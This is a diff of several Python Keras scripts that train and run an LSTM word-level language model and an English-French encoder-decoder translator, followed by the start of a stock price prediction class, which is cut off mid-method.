+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+
+INPUT_DIM = 50
+
+test_text = ""
+test_text += """college or good clerk at university has not pleasant days or used not to have them half a century ago but his position was recognized and the misery was measured can we just make something that is useful for making this happen especially when they are just doing it by"""
+
+encoded = np.expand_dims(np.array(text_to_sequence(test_text)), axis=0)
+encoded = encoded.reshape((-1, encoded.shape[0], encoded.shape[1]))
+model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False)
+model.load_weights("results/lm_rnn_v2_6400548.3.h5")
+
+# for i in range(10):
+#     predicted_word_int = model.predict_classes(encoded)[0]
+#     print(predicted_word_int, end=',')
+#     word = sequence_to_text(predicted_word_int)
+#     encoded = shift(encoded, -1, cval=predicted_word_int)
+#     print(word, end=' ')
+print("Fed:")
+print(encoded)
+print("Result: predict")
+print(model.predict(encoded)[0])
+print("Result: predict_proba")
+print(model.predict_proba(encoded)[0])
+print("Result: predict_classes")
+print(model.predict_classes(encoded)[0])
+print(sequence_to_text(model.predict_classes(encoded)[0]))
+print()
+
+
+
+
+from models import rnn_model
+from utils import sequence_to_text, text_to_sequence, get_batches, get_data, get_text, vocab
+from keras.layers import LSTM
+from keras.callbacks import ModelCheckpoint
+
+import numpy as np
+import os
+
+INPUT_DIM = 50
+# OUTPUT_DIM = len(vocab)
+BATCH_SIZE = 128
+
+# get data
+text = get_text("data")
+encoded = np.array(text_to_sequence(text))
+print(len(encoded))
+
+# X, y = get_data(encoded, INPUT_DIM, 1)
+
+# del text, encoded
+
+model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False)
+
+model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+model.summary()
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+checkpointer = ModelCheckpoint("results/lm_rnn_v2_{loss:.1f}.h5", verbose=1)
+
+steps_per_epoch = (len(encoded) // 100) // BATCH_SIZE
+
+model.fit_generator(get_batches(encoded, BATCH_SIZE, INPUT_DIM),
+                    epochs=100,
+                    callbacks=[checkpointer],
+                    verbose=1,
+                    steps_per_epoch=steps_per_epoch)
+model.save("results/lm_rnn_v2_final.h5")
+
+
+
+
+import numpy as np
+import os
+import tqdm
+import inflect
+from string import punctuation, whitespace
+from word_forms.word_forms import get_word_forms
+
+p = inflect.engine()
+
+UNK = ""
+vocab = set()
+add = vocab.add
+# add unk 
+add(UNK)
+
+with open("data/vocab1.txt") as f:
+    for line in f:
+        add(line.strip())
+
+vocab = sorted(vocab)
+word2int = {w: i for i, w in enumerate(vocab)}
+int2word = {i: w for i, w in enumerate(vocab)}
+
+
+def update_vocab(word):
+    global vocab
+    global word2int
+    global int2word
+
+    vocab.add(word)
+    next_int = max(int2word) + 1
+    word2int[word] = next_int
+    int2word[next_int] = word
+
+
+def save_vocab(_vocab):
+    with open("vocab1.txt", "w") as f:
+        for w in sorted(_vocab):
+            print(w, file=f)
+
+
+def text_to_sequence(text):
+    return [ word2int[word] for word in text.split() ]
+
+
+def sequence_to_text(seq):
+    return ' '.join([ int2word[i] for i in seq ])
+
+
+def get_batches(arr, batch_size, n_steps):
+    '''Create a generator that returns batches of size
+       batch_size x n_steps from arr.
+       
+       Arguments
+       ---------
+       arr: Array you want to make batches from
+       batch_size: Batch size, the number of sequences per batch
+       n_steps: Number of sequence steps per batch
+    '''
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(arr) // chars_per_batch
+
+    arr = arr[:chars_per_batch * n_batches]
+
+    arr = arr.reshape((batch_size, -1))
+    while True:
+        for n in range(0, arr.shape[1], n_steps):
+            x = arr[:, n: n+n_steps]
+            y_temp = arr[:, n+1:n+n_steps+1]
+            y = np.zeros(x.shape, dtype=y_temp.dtype)
+            y[:, :y_temp.shape[1]] = y_temp
+            yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1])
+
+
+def get_data(arr, n_seq, look_forward):
+
+    n_samples = len(arr) // n_seq
+    X = np.zeros((n_seq, n_samples))
+    Y = np.zeros((n_seq, n_samples))
+
+    for index, i in enumerate(range(0, n_samples*n_seq, n_seq)):
+        x = arr[i:i+n_seq]
+        y = arr[i+look_forward:i+n_seq+look_forward]
+        if len(x) != n_seq or len(y) != n_seq:
+            break
+        X[:, index] = x
+        Y[:, index] = y
+    return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0])
+
+
+def get_text(path, files=["carroll-alice.txt", "text.txt", "text8.txt"]):
+    global vocab
+    global word2int
+    global int2word
+
+    text = ""
+    file = files[0]
+    for file in tqdm.tqdm(files, "Loading data"):
+        file = os.path.join(path, file)
+        with open(file, encoding="utf8") as f:
+            text += f.read().lower()
+    
+    punc = set(punctuation)
+
+    text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ])
+    for ws in whitespace:
+        text = text.replace(ws, " ")
+    text = text.split()
+
+    co = 0
+    vocab_set = set(vocab)
+    for i in tqdm.tqdm(range(len(text)), "Normalizing words"):
+        # convert digits to words
+        # (i.e '7' to 'seven')
+        if text[i].isdigit():
+            text[i] = p.number_to_words(text[i])
+        # compare_nouns
+        # compare_adjs
+        # compare_verbs
+        if text[i] not in vocab_set:
+            text[i] = UNK
+            co += 1
+    # update vocab, intersection of words
+    print("vocab length:", len(vocab))
+    vocab = vocab_set & set(text)
+    print("vocab length after update:", len(vocab))
+    save_vocab(vocab)
+    print("Number of unks:", co)
+    return ' '.join(text)
+
+
+
+
+from train import create_model, get_data, split_data, LSTM_UNITS, np, to_categorical, Tokenizer, pad_sequences, pickle
+
+
+def tokenize(x, tokenizer=None):
+    """Tokenize x
+    :param x: List of sentences/strings to be tokenized
+    :return: Tuple of (tokenized x data, tokenizer used to tokenize x)"""
+    if tokenizer:
+        t = tokenizer
+    else:
+        t = Tokenizer()
+    t.fit_on_texts(x)
+    return t.texts_to_sequences(x), t
+
+
+def predict_sequence(enc, dec, source, n_steps, docoder_num_tokens):
+    """Generate target given source sequence, this function can be used
+    after the model is trained to generate a target sequence given a source sequence."""
+    # encode
+    state = enc.predict(source)
+    # start of sequence input
+    target_seq = np.zeros((1, 1, n_steps))
+    # collect predictions
+    output = []
+    for t in range(n_steps):
+        # predict next char
+        yhat, h, c = dec.predict([target_seq] + state)
+        # store predictions
+        y = yhat[0, 0, :]
+
+        sampled_token_index = np.argmax(y)
+        output.append(sampled_token_index)
+        # update state
+        state = [h, c]
+        # update target sequence
+        target_seq = np.zeros((1, 1, n_steps))
+        target_seq[0, 0] = to_categorical(sampled_token_index, num_classes=n_steps)
+        
+    return np.array(output)
+
+
+def logits_to_text(logits, index_to_words):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    return ' '.join([index_to_words[prediction] for prediction in logits])
+
+# load the data
+X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt")
+
+X_tk = pickle.load(open("X_tk.pickle", "rb"))
+y_tk = pickle.load(open("y_tk.pickle", "rb"))
+
+model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS)
+
+model.load_weights("results/eng_fra_v1_17568.086.h5")
+
+while True:
+    text = input("> ")
+    tokenized = np.array(tokenize([text], tokenizer=X_tk)[0])
+    print(tokenized.shape)
+    X = pad_sequences(tokenized, maxlen=source_sequence_length, padding="post")
+    X = X.reshape((1, 1, X.shape[-1]))
+    print(X.shape)
+    # X = to_categorical(X, num_classes=len(X_tk.word_index) + 1)
+    print(X.shape)
+    sequence = predict_sequence(enc, dec, X, target_sequence_length, source_sequence_length)
+
+    result = logits_to_text(sequence, y_tk.index_word)
+    print(result)
+
+
+
+
+from tensorflow.keras.models import Model
+from tensorflow.keras.layers import Input, LSTM, GRU, Dense, Embedding, Activation, Dropout, Sequential, RepeatVector
+from tensorflow.keras.layers import TimeDistributed
+from tensorflow.keras.preprocessing.text import Tokenizer
+from tensorflow.keras.preprocessing.sequence import pad_sequences
+from tensorflow.keras.utils import to_categorical, plot_model
+from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard
+import numpy as np
+import matplotlib.pyplot as plt
+import os
+import pickle
+
+# hyper parameters
+BATCH_SIZE = 32
+EPOCHS = 10
+LSTM_UNITS = 128
+
+def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size):
+    model = Sequential()
+    model.add(LSTM(LSTM_UNITS), input_shape=input_shape[1:])
+    model.add(RepeatVector(output_sequence_length))
+    model.add(LSTM(LSTM_UNITS), return_sequences=True)
+    model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax")))
+    model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"])
+    return model
+    
+
+def create_model(num_encoder_tokens, num_decoder_tokens, latent_dim):
+    # define an input sequence
+    encoder_inputs = Input(shape=(None, num_encoder_tokens))
+    encoder = LSTM(latent_dim, return_state=True)
+    # define the encoder output
+    encoder_outputs, state_h, state_c = encoder(encoder_inputs)
+    encoder_states = [state_h, state_c]
+    # encoder inference model
+    encoder_model = Model(encoder_inputs, encoder_states)
+
+    # set up the decoder now
+    decoder_inputs = Input(shape=(None, num_decoder_tokens))
+    decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True)
+    decoder_outputs, _, _ = decoder_lstm(decoder_inputs, initial_state=encoder_states)
+    decoder_dense = Dense(num_decoder_tokens, activation="softmax")
+    decoder_outputs = decoder_dense(decoder_outputs)
+    # decoder inference model
+    decoder_state_input_h = Input(shape=(latent_dim,))
+    decoder_state_input_c = Input(shape=(latent_dim,))
+    decoder_state_inputs = [decoder_state_input_h, decoder_state_input_c]
+
+    model = Model([encoder_inputs, decoder_inputs], decoder_outputs)
+
+    decoder_outputs, state_h, state_c = decoder_lstm(decoder_inputs, initial_state=decoder_state_inputs)
+    decoder_states = [state_h, state_c]
+    decoder_model = Model([decoder_inputs] + decoder_state_inputs, [decoder_outputs] + decoder_states)
+
+    return model, encoder_model, decoder_model
+
+
+def get_batches(X, y, X_tk, y_tk, source_sequence_length, target_sequence_length, batch_size=BATCH_SIZE):
+    # get total number of words in X
+    num_encoder_tokens = len(X_tk.word_index) + 1
+    # get max number of words in all sentences in y
+    num_decoder_tokens = len(y_tk.word_index) + 1
+
+    while True:
+        for j in range(0, len(X), batch_size):
+            encoder_input_data = X[j: j+batch_size]
+            decoder_input_data = y[j: j+batch_size]
+            # redefine batch size 
+            # it may differ (in last batch of dataset)
+            batch_size = encoder_input_data.shape[0]
+
+            # one-hot everything
+            # decoder_target_data = np.zeros((batch_size, num_decoder_tokens, target_sequence_length), dtype=np.uint8)
+            # encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens), dtype=np.uint8)
+            # decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens), dtype=np.uint8)
+            encoder_data = np.expand_dims(encoder_input_data, axis=1)
+            decoder_data = np.expand_dims(decoder_input_data, axis=1)
+
+            # for i, sequence in enumerate(decoder_input_data):
+            #     for t, word_index in enumerate(sequence):
+            #         # skip the first
+            #         if t > 0:
+            #             decoder_target_data[i, t-1, word_index] = 1
+                    # decoder_data[i, t, word_index] = 1
+        
+            # for i, sequence in enumerate(encoder_input_data):
+            #     for t, word_index in enumerate(sequence):
+            #         encoder_data[i, t, word_index] = 1
+                    
+            yield ([encoder_data, decoder_data], decoder_input_data)
+
+    
+def get_data(file):
+    X = []
+    y = []
+    # loading the data
+    for line in open(file, encoding="utf-8"):
+        if "\t" not in line:
+            continue
+
+        # split by tab
+        line = line.strip().split("\t")
+        input = line[0]
+        output = line[1]
+        output = f"{output} "
+        output_sentence_input = f" {output}"
+        X.append(input)
+        y.append(output)
+
+    # tokenize data
+    X_tk = Tokenizer()
+    X_tk.fit_on_texts(X)
+    X = X_tk.texts_to_sequences(X)
+
+    y_tk = Tokenizer()
+    y_tk.fit_on_texts(y)
+    y = y_tk.texts_to_sequences(y)
+
+    # define the max sequence length for X
+    source_sequence_length = max(len(x) for x in X)
+    # define the max sequence length for y
+    target_sequence_length = max(len(y_) for y_ in y)
+    # padding sequences
+    X = pad_sequences(X, maxlen=source_sequence_length, padding="post")
+    y = pad_sequences(y, maxlen=target_sequence_length, padding="post")
+
+    return X, y, X_tk, y_tk, source_sequence_length, target_sequence_length
+
+
+def shuffle_data(X, y):
+    """
+    Shuffles X & y and preserving their pair order
+    """
+    state = np.random.get_state()
+    np.random.shuffle(X)
+    np.random.set_state(state)
+    np.random.shuffle(y)
+    return X, y
+
+
+def split_data(X, y, train_split_rate=0.2):
+    # shuffle first
+    X, y = shuffle_data(X, y)
+    training_samples = round(len(X) * train_split_rate)
+    return X[:training_samples], y[:training_samples], X[training_samples:], y[training_samples:]
+    
+
+
+if __name__ == "__main__":
+    # load the data
+    X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt")
+    # save tokenizers
+    pickle.dump(X_tk, open("X_tk.pickle", "wb"))
+    pickle.dump(y_tk, open("y_tk.pickle", "wb"))
+    # shuffle & split data
+    X_train, y_train, X_test, y_test = split_data(X, y)
+    # construct the models
+    model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS)
+    plot_model(model, to_file="model.png")
+    plot_model(enc, to_file="enc.png")
+    plot_model(dec, to_file="dec.png")
+    model.summary()
+
+    model.compile(optimizer="adam", loss="categorical_crossentropy", metrics=["accuracy"])
+
+    if not os.path.isdir("results"):
+        os.mkdir("results")
+
+    checkpointer = ModelCheckpoint("results/eng_fra_v1_{val_loss:.3f}.h5", save_best_only=True, verbose=2)
+    # train the model
+    model.fit_generator(get_batches(X_train, y_train, X_tk, y_tk, source_sequence_length, target_sequence_length),
+                        validation_data=get_batches(X_test, y_test, X_tk, y_tk, source_sequence_length, target_sequence_length),
+                        epochs=EPOCHS, steps_per_epoch=(len(X_train) // BATCH_SIZE),
+                        validation_steps=(len(X_test) // BATCH_SIZE),
+                        callbacks=[checkpointer])
+    
+    print("[+] Model trained.")
+    model.save("results/eng_fra_v1.h5")
+    print("[+] Model saved.")
+
+
+
+
+from tensorflow.keras.preprocessing.text import Tokenizer
+from tensorflow.keras.preprocessing.sequence import pad_sequences
+from tensorflow.keras.models import Model, Sequential
+from tensorflow.keras.layers import GRU, Input, Dense, TimeDistributed, Activation, RepeatVector, Bidirectional, Flatten
+from tensorflow.keras.layers import Dropout, LSTM
+from tensorflow.keras.optimizers import Adam
+from tensorflow.keras.losses import sparse_categorical_crossentropy
+import collections
+import numpy as np
+
+LSTM_UNITS = 128
+
+def get_data(file):
+    X = []
+    y = []
+    # loading the data
+    for line in open(file, encoding="utf-8"):
+        if "\t" not in line:
+            continue
+        # split by tab
+        line = line.strip().split("\t")
+        input = line[0]
+        output = line[1]
+        X.append(input)
+        y.append(output)
+    return X, y
+
+
+def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size):
+    model = Sequential()
+    model.add(LSTM(LSTM_UNITS, input_shape=input_shape[1:]))
+    model.add(RepeatVector(output_sequence_length))
+    model.add(LSTM(LSTM_UNITS, return_sequences=True))
+    model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax")))
+    model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"])
+    return model
+
+
+def tokenize(x):
+    """
+    Tokenize x
+    :param x: List of sentences/strings to be tokenized
+    :return: Tuple of (tokenized x data, tokenizer used to tokenize x)
+    """
+    # TODO: Implement
+    t = Tokenizer()
+    t.fit_on_texts(x)
+    return t.texts_to_sequences(x), t
+
+
+def pad(x, length=None):
+    """
+    Pad x
+    :param x: List of sequences.
+    :param length: Length to pad the sequence to.  If None, use length of longest sequence in x.
+    :return: Padded numpy array of sequences
+    """
+    # TODO: Implement
+    sequences = pad_sequences(x, maxlen=length, padding='post')
+    return sequences
+
+
+def preprocess(x, y):
+    """
+    Preprocess x and y
+    :param x: Feature List of sentences
+    :param y: Label List of sentences
+    :return: Tuple of (Preprocessed x, Preprocessed y, x tokenizer, y tokenizer)
+    """
+    preprocess_x, x_tk = tokenize(x)
+    preprocess_y, y_tk = tokenize(y)
+
+    preprocess_x = pad(preprocess_x)
+    preprocess_y = pad(preprocess_y)
+
+    # Keras's sparse_categorical_crossentropy function requires the labels to be in 3 dimensions
+    preprocess_y = preprocess_y.reshape(*preprocess_y.shape, 1)
+
+    return preprocess_x, preprocess_y, x_tk, y_tk
+
+
+def logits_to_text(logits, tokenizer):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    index_to_words = {id: word for word, id in tokenizer.word_index.items()}
+    index_to_words[0] = ''
+
+    return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)])
+
+
+if __name__ == "__main__":
+    X, y = get_data("ara.txt")
+    english_words = [word for sentence in X for word in sentence.split()]
+    french_words = [word for sentence in y for word in sentence.split()]
+    english_words_counter = collections.Counter(english_words)
+    french_words_counter = collections.Counter(french_words)
+
+    print('{} English words.'.format(len(english_words)))
+    print('{} unique English words.'.format(len(english_words_counter)))
+    print('10 Most common words in the English dataset:')
+    print('"' + '" "'.join(list(zip(*english_words_counter.most_common(10)))[0]) + '"')
+    print()
+    print('{} French words.'.format(len(french_words)))
+    print('{} unique French words.'.format(len(french_words_counter)))
+    print('10 Most common words in the French dataset:')
+    print('"' + '" "'.join(list(zip(*french_words_counter.most_common(10)))[0]) + '"')
+
+    # Tokenize Example output
+    text_sentences = [
+        'The quick brown fox jumps over the lazy dog .',
+        'By Jove , my quick study of lexicography won a prize .',
+        'This is a short sentence .']
+    text_tokenized, text_tokenizer = tokenize(text_sentences)
+    print(text_tokenizer.word_index)
+    print()
+    for sample_i, (sent, token_sent) in enumerate(zip(text_sentences, text_tokenized)):
+        print('Sequence {} in x'.format(sample_i + 1))
+        print('  Input:  {}'.format(sent))
+        print('  Output: {}'.format(token_sent))
+
+    # Pad Tokenized output
+    test_pad = pad(text_tokenized)
+    for sample_i, (token_sent, pad_sent) in enumerate(zip(text_tokenized, test_pad)):
+        print('Sequence {} in x'.format(sample_i + 1))
+        print('  Input:  {}'.format(np.array(token_sent)))
+        print('  Output: {}'.format(pad_sent))
+
+    preproc_english_sentences, preproc_french_sentences, english_tokenizer, french_tokenizer =\
+    preprocess(X, y)
+    
+    max_english_sequence_length = preproc_english_sentences.shape[1]
+    max_french_sequence_length = preproc_french_sentences.shape[1]
+    english_vocab_size = len(english_tokenizer.word_index)
+    french_vocab_size = len(french_tokenizer.word_index)
+
+    print('Data Preprocessed')
+    print("Max English sentence length:", max_english_sequence_length)
+    print("Max French sentence length:", max_french_sequence_length)
+    print("English vocabulary size:", english_vocab_size)
+    print("French vocabulary size:", french_vocab_size)
+
+    tmp_x = pad(preproc_english_sentences, preproc_french_sentences.shape[1])
+    tmp_x = tmp_x.reshape((-1, preproc_french_sentences.shape[-2], 1))
+    print("tmp_x.shape:", tmp_x.shape)
+    print("preproc_french_sentences.shape:", preproc_french_sentences.shape)
+
+    # Train the neural network
+    # increased passed index length by 1 to avoid index error
+    encdec_rnn_model = create_encdec_model(
+        tmp_x.shape,
+        preproc_french_sentences.shape[1],
+        len(english_tokenizer.word_index)+1,
+        len(french_tokenizer.word_index)+1)
+    print(encdec_rnn_model.summary())
+    # reduced batch size
+    encdec_rnn_model.fit(tmp_x, preproc_french_sentences, batch_size=256, epochs=3, validation_split=0.2)
+
+    # Print prediction(s)
+    print(logits_to_text(encdec_rnn_model.predict(tmp_x[1].reshape((1, tmp_x[1].shape[0], 1, )))[0], french_tokenizer))
+    print("Original text and translation:")
+    print(X[1])
+    print(y[1])
+    # OPTIONAL: Train and Print prediction(s)
+    print("="*50)
+    # Print prediction(s)
+    print(logits_to_text(encdec_rnn_model.predict(tmp_x[10].reshape((1, tmp_x[1].shape[0], 1, ))[0]), french_tokenizer))
+    print("Original text and translation:")
+    print(X[10])
+    print(y[10])
+    # OPTIONAL: Train and Print prediction(s)
+
+
+
+
+from tensorflow.keras.layers import LSTM, Dense, Dropout
+from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard
+from sklearn.metrics import mean_absolute_error, mean_squared_error, accuracy_score
+import os
+import time
+import glob
+import numpy as np
+import pandas as pd
+import matplotlib.pyplot as plt
+
+from utils import classify, shift, create_model, load_data
+
+class PricePrediction:
+    """A Class utility to train and predict price of stocks/cryptocurrencies/trades
+        using keras model"""
+    def __init__(self, ticker_name, **kwargs):
+        """
+        :param ticker_name (str): ticker name, e.g. aapl, nflx, etc.
+        :param n_steps (int): sequence length used to predict, default is 60
+        :param price_column (str): the name of column that contains price predicted, default is 'adjclose'
+        :param feature_columns (list): a list of feature column names used to train the model, 
+            default is ['adjclose', 'volume', 'open', 'high', 'low']
+        :param target_column (str): target column name, default is 'future'
+        :param lookup_step (int): the future lookup step to predict, default is 1 (e.g. next day)
+        :param shuffle (bool): whether to shuffle the dataset, default is True
+        :param verbose (int): verbosity level, default is 1
+        ==========================================
+        Model parameters
+        :param n_layers (int): number of recurrent neural network layers, default is 3
+        :param cell (keras.layers.RNN): RNN cell used to train keras model, default is LSTM
+        :param units (int): number of units of cell, default is 256
+        :param dropout (float): dropout rate ( from 0 to 1 ), default is 0.3
+        ==========================================
+        Training parameters
+        :param batch_size (int): number of samples per gradient update, default is 64
+        :param epochs (int): number of epochs, default is 100
+        :param optimizer (str, keras.optimizers.Optimizer): optimizer used to train, default is 'adam'
+        :param loss (str, function): loss function used to minimize during training,
+            default is 'mae'
+        :param test_size (float): test size ratio from 0 to 1, default is 0.15
+        """
+        self.ticker_name = ticker_name
+        self.n_steps = kwargs.get("n_steps", 60)
+        self.price_column = kwargs.get("price_column", 'adjclose')
+        self.feature_columns = kwargs.get("feature_columns", ['adjclose', 'volume', 'open', 'high', 'low'])
+        self.target_column = kwargs.get("target_column", "future")
+        self.lookup_step = kwargs.get("lookup_step", 1)
+        self.shuffle = kwargs.get("shuffle", True)
+        self.verbose = kwargs.get("verbose", 1)
+
+        self.n_layers = kwargs.get("n_layers", 3)
+        self.cell = kwargs.get("cell", LSTM)
+        self.units = kwargs.get("units", 256)
+        self.dropout = kwargs.get("dropout", 0.3)
+
+        self.batch_size = kwargs.get("batch_size", 64)
+        self.epochs = kwargs.get("epochs", 100)
+        self.optimizer = kwargs.get("optimizer", "adam")
+        self.loss = kwargs.get("loss", "mae")
+        self.test_size = kwargs.get("test_size", 0.15)
+
+        # create unique model name
+        self._update_model_name()
+
+        # runtime attributes
+        self.model_trained = False
+        self.data_loaded = False
+        self.model_created = False
+
+        # test price values
+        self.test_prices = None
+        # predicted price values for the test set
+        self.y_pred = None
+
+        # prices converted to buy/sell classes
+        self.classified_y_true = None
+        # predicted prices converted to buy/sell classes
+        self.classified_y_pred = None
+
+        # most recent price
+        self.last_price = None
+
+        # make folders if does not exist
+        if not os.path.isdir("results"):
+            os.mkdir("results")
+
+        if not os.path.isdir("logs"):
+            os.mkdir("logs")
+
+        if not os.path.isdir("data"):
+            os.mkdir("data")
+
+    def create_model(self):
+        """Construct and compile the keras model"""
+        self.model = create_model(input_length=self.n_steps,
+                                    units=self.units,
+                                    cell=self.cell,
+                                    dropout=self.dropout,
+                                    n_layers=self.n_layers,
+                                    loss=self.loss,
+                                    optimizer=self.optimizer)
+        self.model_created = True
+        if self.verbose > 0:
+            print("[+] Model created")
+
+    def train(self, override=False):
+        """Train the keras model using self.checkpointer and self.tensorboard as keras callbacks.
+        If model created already trained, this method will load the weights instead of training from scratch.
+        Note that this method will create the model and load data if not called before."""
+        
+        # if model isn't created yet, create it
+        if not self.model_created:
+            self.create_model()
+
+        # if data isn't loaded yet, load it
+        if not self.data_loaded:
+            self.load_data()
+
+        # if the model already exists and trained, just load the weights and return
+        # but if override is True, then just skip loading weights
+        if not override:
+            model_name = self._model_exists()
+            if model_name:
+                self.model.load_weights(model_name)
+                self.model_trained = True
+                if self.verbose > 0:
+                    print("[*] Model weights loaded")
+                return
+        
+        if not os.path.isdir("results"):
+            os.mkdir("results")
+
+        if not os.path.isdir("logs"):
+            os.mkdir("logs")
+
+        model_filename = self._get_model_filename()
+
+        self.checkpointer = ModelCheckpoint(model_filename, save_best_only=True, verbose=1)
+        self.tensorboard = TensorBoard(log_dir=f"logs\{self.model_name}")
+
+        self.history = self.model.fit(self.X_train, self.y_train,
+                        batch_size=self.batch_size,
+                        epochs=self.epochs,
+                        validation_data=(self.X_test, self.y_test),
+                        callbacks=[self.checkpointer, self.tensorboard],
+                        verbose=1)
+        
+        self.model_trained = True
+        if self.verbose > 0:
+            print("[+] Model trained")
+
+    def predict(self, classify=False):
+        """Predicts next price for the step self.lookup_step.
+            when classify is True, returns 0 for sell and 1 for buy"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        # reshape to fit the model input
+        last_sequence = self.last_sequence.reshape((self.last_sequence.shape[1], self.last_sequence.shape[0]))
+        # expand dimension
+        last_sequence = np.expand_dims(last_sequence, axis=0)
+        predicted_price = self.column_scaler[self.price_column].inverse_transform(self.model.predict(last_sequence))[0][0]
+        if classify:
+            last_price = self.get_last_price()
+            return 1 if last_price < predicted_price else 0
+        else:
+            return predicted_price
+
+    def load_data(self):
+        """Loads and preprocess data"""
+        filename, exists = self._df_exists()
+        if exists:
+            # if the updated dataframe already exists in disk, load it
+            self.ticker = pd.read_csv(filename)
+            ticker = self.ticker
+            if self.verbose > 0:
+                print("[*] Dataframe loaded from disk")
+        else:
+            ticker = self.ticker_name
+
+        result = load_data(ticker,n_steps=self.n_steps, lookup_step=self.lookup_step,
+                            shuffle=self.shuffle, feature_columns=self.feature_columns,
+                            price_column=self.price_column, test_size=self.test_size)
+        
+        # extract data
+        self.df = result['df']
+        self.X_train = result['X_train']
+        self.X_test = result['X_test']
+        self.y_train = result['y_train']
+        self.y_test = result['y_test']
+        self.column_scaler = result['column_scaler']
+        self.last_sequence = result['last_sequence']      
+
+        if self.shuffle:
+            self.unshuffled_X_test = result['unshuffled_X_test']
+            self.unshuffled_y_test = result['unshuffled_y_test']
+        else:
+            self.unshuffled_X_test = self.X_test
+            self.unshuffled_y_test = self.y_test
+
+        self.original_X_test = self.unshuffled_X_test.reshape((self.unshuffled_X_test.shape[0], self.unshuffled_X_test.shape[2], -1))
+        
+        self.data_loaded = True
+        if self.verbose > 0:
+            print("[+] Data loaded")
+
+        # save the dataframe to disk
+        self.save_data()
+
+    def get_last_price(self):
+        """Returns the last price ( i.e the most recent price )"""
+        if not self.last_price:
+            self.last_price = float(self.df[self.price_column].tail(1))
+        return self.last_price
+
+    def get_test_prices(self):
+        """Returns test prices. Note that this function won't return the whole sequences,
+        instead, it'll return only the last value of each sequence"""
+        if self.test_prices is None:
+            current = np.squeeze(self.column_scaler[self.price_column].inverse_transform([[ v[-1][0] for v in self.original_X_test ]]))
+            future = np.squeeze(self.column_scaler[self.price_column].inverse_transform(np.expand_dims(self.unshuffled_y_test, axis=0)))
+            self.test_prices = np.array(list(current) + [future[-1]])
+        return self.test_prices
+
+    def get_y_pred(self):
+        """Get predicted values of the testing set of sequences ( y_pred )"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        if self.y_pred is None:
+            self.y_pred = np.squeeze(self.column_scaler[self.price_column].inverse_transform(self.model.predict(self.unshuffled_X_test)))
+        return self.y_pred
+
+    def get_y_true(self):
+        """Returns original y testing values ( y_true )"""
+        test_prices = self.get_test_prices()
+        return test_prices[1:]
+
+    def _get_shifted_y_true(self):
+        """Returns original y testing values shifted by -1.
+        This function is useful for converting to a classification problem"""
+        test_prices = self.get_test_prices()
+        return test_prices[:-1]
+
+    def _calc_classified_prices(self):
+        """Convert regression predictions to a classification predictions ( buy or sell )
+        and set results to self.classified_y_pred for predictions and self.classified_y_true 
+        for true prices"""
+        if self.classified_y_true is None or self.classified_y_pred is None:
+            current_prices = self._get_shifted_y_true()
+            future_prices = self.get_y_true()
+            predicted_prices = self.get_y_pred()
+            self.classified_y_true = list(map(classify, current_prices, future_prices))
+            self.classified_y_pred = list(map(classify, current_prices, predicted_prices))
+        
+    # some metrics
+
+    def get_MAE(self):
+        """Calculates the Mean-Absolute-Error metric of the test set"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        y_true = self.get_y_true()
+        y_pred = self.get_y_pred()
+        return mean_absolute_error(y_true, y_pred)
+
+    def get_MSE(self):
+        """Calculates the Mean-Squared-Error metric of the test set"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        y_true = self.get_y_true()
+        y_pred = self.get_y_pred()
+        return mean_squared_error(y_true, y_pred)
+
+    def get_accuracy(self):
+        """Calculates the accuracy after adding classification approach (buy/sell)"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        self._calc_classified_prices()
+        return accuracy_score(self.classified_y_true, self.classified_y_pred)
+
+    def plot_test_set(self):
+        """Plots test data"""
+        future_prices = self.get_y_true()
+        predicted_prices = self.get_y_pred()
+        plt.plot(future_prices, c='b')
+        plt.plot(predicted_prices, c='r')
+        plt.xlabel("Days")
+        plt.ylabel("Price")
+        plt.legend(["Actual Price", "Predicted Price"])
+        plt.show()
+
+    def save_data(self):
+        """Saves the updated dataframe if it does not exist"""
+        filename, exists = self._df_exists()
+        if not exists:
+            self.df.to_csv(filename)
+            if self.verbose > 0:
+                print("[+] Dataframe saved")
+
+    def _update_model_name(self):
+        stock = self.ticker_name.replace(" ", "_")
+        feature_columns_str = ''.join([ c[0] for c in self.feature_columns ])
